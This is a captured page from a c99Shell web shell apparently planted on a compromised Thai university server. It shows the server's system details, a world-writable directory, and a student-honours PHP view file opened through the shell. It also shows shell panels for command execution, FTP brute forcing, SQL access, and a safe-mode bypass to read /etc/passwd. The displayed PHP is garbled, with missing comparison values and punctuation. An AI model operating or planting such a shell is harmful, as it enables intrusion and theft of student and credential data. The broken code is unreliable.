!c99Shell v. 1.0 pre-release build #16!

Software: Apache/2.2.3 (CentOS). PHP/5.1.6 

uname -a: Linux mx-ll-110-164-51-230.static.3bb.co.th 2.6.18-194.el5PAE #1 SMP Fri Apr 2 15:37:44
EDT 2010 i686
 

uid=48(apache) gid=48(apache) groups=48(apache) 

Safe-mode: OFF (not secure)

/var/www/html/mis/application/views/eregis-13022565/   drwxrwxrwx
Free 50.99 GB of 127.8 GB (39.9%)
Home    Back    Forward    UPDIR    Refresh    Search    Buffer    Encoder    Tools    Proc.    FTP brute    Sec.    SQL    PHP-code    Update    Feedback    Self remove    Logout    


Viewing file:     v_showHonor.php (4.37 KB)      -rwxr-xr-x
Select action/file-type:
(+) | (+) | (+) | Code (+) | Session (+) | (+) | SDB (+) | (+) | (+) | (+) | (+) | (+) |
<table width="100%" border="0" align="center" cellpadding="0" cellspacing="0">
    <tr>
        <td>
            <div align="center">
            <?php echo form_open($this->config->item("rg_folder")."graduate4/processHonor", array("name" => "myform""id" => "myform"));?>
            <table class="szone">
                <tr>
                    <td align="center" colspan="2"><span class="h error">ประมวลผลนักศึกษาที่จะได้รับเกียรตินิยม (กรณีพิเศษ)</span></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">หลักสูตร</td>
                    <td><?php echo $qu_cur->row()->curName;?>
                    <input type="hidden" name="curId" id="curId" value="<?php echo $qu_cur->row()->curId;?>" /></td>
                </tr>
                <tr bgcolor="<?php echo $tr_color_even;?>">
                    <td class="coltd_szone">ปีการศึกษาที่เข้า</td>
                    <td><?php echo $adY;?>
                    <input type="hidden" name="adY" id="adY" value="<?php echo $adY;?>" /></td>
                </tr>
                <tr>
                    <td><br /></td>
                </tr>
                <tr>
                    <td colspan="2"><table class="headCol">
                        <tr>
                            <th>ลำดับที่</th>
                            <th>รหัสนักศึกษา</th>
                            <th>ชื่อ-นามสกุลนักศึกษา</th>
                            <th>สถานะนักศึกษา</th>
                            <th>GPA</th>
                            <th>คะแนน<br>ความประพฤติ</th>
                            <th>เกียรตินิยม</th>
                            <th>ยกเลิก</th>
                        </tr>
<?php
            $i 
0;
            if(
$rs_std && $rs_std->num_rows()) {
                foreach(
$rs_std->result() as $row) {
                            echo 
"<tr onmouseover=\"bgColor='".$tr_color_even."'\" onmouseout=\"bgColor='".$this->config->item("rg_mouseout")."'\">";
?>
                            <td align="center"><?php echo $i+1;?></td>
                            <td align="center"><?php echo $row->stdCode;?>
                            <input type="hidden" name="stdId<?php echo $i;?>" id="stdId<?php echo $i;?>" value="<?php echo $row->stdId;?>" /></td>
                            <td class="indent"><?php echo $row->prefixName.$row->stdName.' '.$row->stdSurname;?></td>
                            <td align="center"><font size="2" color="<?php if($row->stdSstId==|| $row->stdSstId==4) echo $font_color_err;?>"><?php echo $row->sstName;?></font></td>
                            <td align="center"><font size="2"><?php echo number_format($row->stdGPA,2);?></font></td>
                            <td align="center"><font size="2"><?php echo $row->stdTotalPoint;?></font></td>
                            <td align="center">
<?php
                            
if($row->stdSstId==|| $row->stdSstId==|| $row->stdSstId==4) {
?>
                            <span><input type="radio" name="honor<?php echo $i;?>" id="honor<?php echo $i;?>" value="1" <?php if(setValue('stdHonor',$row)=='1') echo 'checked';?> /></font size="2"> อันดับ 1</span>
                            <span><input type="radio" name="honor<?php echo $i;?>" id="honor<?php echo $i;?>" value="2" <?php if(setValue('stdHonor',$row)=='2') echo 'checked';?> /> อันดับ 2</span>
<?php
                            
}
?>
                            </td>
                            <td align="center">
<?php
                            
if($row->stdHonor==|| $row->stdHonor==2) {
?>
                            <span onClick="confirmDel2({'curId':<?php echo $qu_cur->row()->curId;?>,
                             'stdTmIdAdmit':<?php echo $adY;?>,
                             'stdId':<?php echo $row->stdId;?>}, 'myform','<?php echo site_url($this->config->item('rg_folder').'graduate4/processHonor');?>')" />
                             <img src="<?php echo base_url().$this->config->item("rg_delete");?>" align="absmiddle" border="0" width="16" height="19" class="hand" /></span>

<?php
                            
} else {
?>
                            <font size="2">-</font>
<?php
                            
}
?>
                            </td>
                        </tr>
<?php
                    $i
++;
                }
            } else {
?>
                        <tr>    
                            <td colspan="8" align="center"><span class="error">** ไม่ปรากฏรายการในฐานข้อมูล **</span></td>
                        </tr>
<?php
            
}
?>
                    </table></td>
                </tr>
                <tr>    
                    <td colspan="2" align="right">รวม <?php echo $i;?> รายการ</td>
                </tr>
                <tr>
                    <td colspan="2" align="center"><br><input type="submit" name="add" name="add" value="บันทึก" />
                    <input type="reset" name="clear" id="clear" value="เคลียร์ข้อมูล" />
                    <input type="hidden" name="cnt" id="cnt" value="<?php echo $i-1;?>"></td>
                </tr>
            </table><?php echo form_close();?></div>
        <br></td>
    </tr>
</table>

:: Command execute ::

Enter:
 
Select:
 

:: Shadow's tricks :D ::

Useful Commands
 
Warning. Kernel may be alerted using higher levels
Kernel Info:

:: Preddy's tricks :D ::

Php Safe-Mode Bypass (Read Files)

File:

eg: /etc/passwd

Php Safe-Mode Bypass (List Directories):

Dir:

eg: /etc/

:: Search ::
  - regexp 

:: Upload ::
 
[ ok ]

:: Make Dir ::
 
[ ok ]
:: Make File ::
 
[ ok ]

:: Go Dir ::
 
:: Go File ::
 

--[ c999shell v. 1.0 pre-release build #16 Modded by Shadow & Preddy | RootShell Security Group | r57 c99 shell | Generation time: 0.0146 ]--